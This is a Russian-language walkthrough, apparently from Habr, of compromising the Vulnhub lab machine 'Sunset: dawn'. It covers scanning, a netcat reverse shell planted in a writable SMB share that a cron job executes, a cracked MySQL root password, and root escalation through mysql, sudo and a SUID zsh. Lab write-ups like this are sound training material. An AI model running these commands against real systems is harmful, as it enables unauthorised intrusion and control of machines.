Vulnhub. Прохождение Sunset: dawn

Следующей машиной в нашей серии прохождений будет Sunset: dawn.

om1fi_hpubxbqytesa3vpliljgk.png
Автор: whitecr0wz

Так же как и в первом прохождении нам нужно определить IP-адрес нашей цели. Для этого используем команду

netdiscover


В моем случае IP-адресом будет 192.168.1.165.

Сканирование


Начнем наше сканирование с определения открытых портов

nmap -p- 192.168.1.165


bkvspbmtvjkjxuprtoggy0_ca1o.png

Видим, что у нас открыты 80, 139, 445 и 3306 порты, вот их мы и будем сканировать

nmap -p80,139,445,3306 -sC -sV -oN dawn 192.168.1.165


tvggd3mchxeqi1nswvm_y6aogmg.png

Поиск точки входа


80 порт используется сайтом, пожалуй, начнем с него.

b7_u7kukgnotmhtlmfthbz4ncco.png

Видим, что на сайте ничего интересного нет. Стоит проверить какие у сайта есть директории, для этого мы будем использовать gobuster

gobuster dir -u http://192.168.1.165/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-directories.txt -o dir.out


Где dir — режим для перебора каталогов, -w — выбранный нами словарь, а -o файл в который будут записываться результаты.

nh20njqogkvbzae-du4jt_wf5tg.png

Из результатов сканирования самое интересное место для нас logs, так что заглянем сначала туда.

efvwhwicfrtvm_qeks2n5s0_uaw.png

Мы видим 4 файла, попробуем скачать их все.

nne9gin34elbyjy6b8mtyqfhbha.png

Но тут нам не очень везет, у нес нет доступа как к auth.log, так и к daemon.log и error.log.
Зато мы можем скачать management.log (если файл пустой или мало весит, стоит либо подождать какое-то время, либо перезапустить виртуалку).

wxkflakdxjmytlakr7te2woi8ya.png

В логах мы видим, что на машине запускаются кронтаб задачи, которые помогут нам в будущем

/bin/sh -c /home/dawn/ITDEPT/product-control
/bin/sh -c /home/dawn/ITDEPT/web-control


Теперь давайте посмотрим, что интересного мы можем найти с помощью SMB.

Пользователь 1


Сначала проверим что у нас на 445, запускаем

smbmap -H 192.168.1.165


etl3mgbflmueh6-rhhktsdfhygu.png

Нам доступна на чтение/запись папка ITDEPT, вот к ней и мы подключимся

smbclient //192.168.1.165/ITDEPT


smxis_r2ss3zxmmiijilitya5s4.png

Пароль вводить не нужно, вместо него просто жмем enter. Как мы можем заметить из лога, что нам был доступен, именно из этой папки запускались файлы web-control и product-control. Данные файлы запускаются с опцией -c, которая определяет чтение команд из строки, следовательно, мы можем записать в файл команду на reverse shell

echo "nc -e /bin/bash 192.168.1.68 9001" > web-control


5hmmtwlvus52fseqwh18vakcrza.png

Загружаем полученный файл через smb командой put.

zwxwut3opqpmeovoggjhvxphdec.png

На своей машине прописываем

nc -lnvp 9001


6jxtd4adc6klgytga68ylbhowem.png

Ждем пока выполнится кронтабовская задача… и у нас есть шелл, пользователя www-data. Для удобства работы с шеллом сделаем его интерактивным с помощью питона

python3 -c 'import pty;pty.spawn("/bin/bash")'


Пользователь 2


Вот мы получили доступ первого юзера, но если внимательно посмотреть по логам, то мы можем заметить, что кронтаб выполняет задачу также от пользователя с ID=1000 (UID=1000). Делаем те же действия, что и для первого пользователя, но во избежание путаницы лучше использовать другой порт, например, 9002. Вообще можно использовать любой порт, который не занят стандартными сервисами.

pkpuiyk_tcykdvuwvadp90ycxec.png

И вот мы получили шелл как пользователь dawn

Повышение привилегий


Способ 1


На этот раз не будем прибегать к помощи скриптов. В данных примерах повышение привилегий достаточно простое, так что мы найдем все ручками.
Для начала проверим, есть ли возможность у пользователя dawn запускать какие-нибудь файлы от имени root

sudo -l


uulyinvrbagfjhjhuo-ieozjqio.png

Как мы видим, на дозволено использовать mysql с правами суперпользователя, но если мы попробуем ввести команду для получения шелла, которую мы подсмотрели на GTFObins

sudo mysql -e '\! /bin/sh'


То у нас ничего не получится, так как требуется авторизация, значит нужно найти пароль. Начнем с файла .bash-history, в котором записываются последние команды пользователя, введенные в строке консоли

cat .bash_history


tct2uactfqoikrapez3w9bgqu7i.png

О, а вот мы нашли какой-то хеш, и видим, что пользователь использовал mysql под учеткой root’а. Думаю, стоит крякнуть найденный хеш.

cnw5e_0mjanvojjbcg6c09apf88.png

Джон нас не подводит, и мы получаем пароль onii-chan29, стоит попробовать его при аутентификации в mysql

mysql -u root -p


dimvhka7ifuqabpjysa-zhiu0l8.png

Вот мы авторизовались в mysql как суперпользователь. Если ввести команду \? , то из всех представленных команд мы также можем запускать системные команды \! . Так давайте попробуем запустить шелл

\! /bin/bash


bbwsyd-ikziz9_nll8vw9khox0u.png

Вот мы и стали суперпользователем.

Способ 2


Не стоит забывать, что у нас есть еще один пользователь www-data, давайте посмотрим, что мы можем сделать с ним. Начнем также с проверки sudo -l.

jkb1_bimkzpodqow9n5qhqxm7b0.png

Здесь мы видим, что нам доступно выполнение команды sudo с правами суперпользователя. Тогда давайте попробуем запустить шелл от имени root’а

sudo -u root -i '/bin/bash'


У нас требуют пароль пользователя www-data, потому что мы запускаем sudo от имени текущего пользователя, чтобы проэксплуатировать данный вектор, нам нужно добавить в начало еще раз команду sudo, чтобы запустить sudo от имени суперпользователя без необходимости вводить пароль (как мы видели на скриншоте ранее), добавить опцию -i, чтобы прописать команду, которую мы хотим выполнить и -u root (пользователя можно и не указывать, так как команда и так запускается от имени root).

padcknpryc00ejs9p0xod1fo_xy.png

И… вуаля, теперь мы root.

Способ 3


Для этого способа можем использовать любого пользователя. Сейчас мы проверим какие исполняемые файлы нам вообще доступны в системе

find / -perm -u=s -type f 2>/dev/null


vts2djg_iehllsr8bsbmrm-9nv4.png

Используем команду find, с опциями / — поиск по всем каталогам, -perm — с опцией -u=s, для поиска файлов с установленным SUID-битом, -type f — тип файла (f — обычный файл) и 2>/dev/null — данная опция скрывает ошибки в выводе команды (использовать ее можно с любой командой или даже исполняемым файлом). Можно, конечно, проверять каждый, но в данном случае нас интересует конкретно zsh, это просто командная оболочка, запустив которую мы получаем права root.
Эта машина, так же как и первая, не требует сверхсложных манипуляций. Как говорится boot to root.

Прохождения:
Sunset: 1

© Habrahabr.ru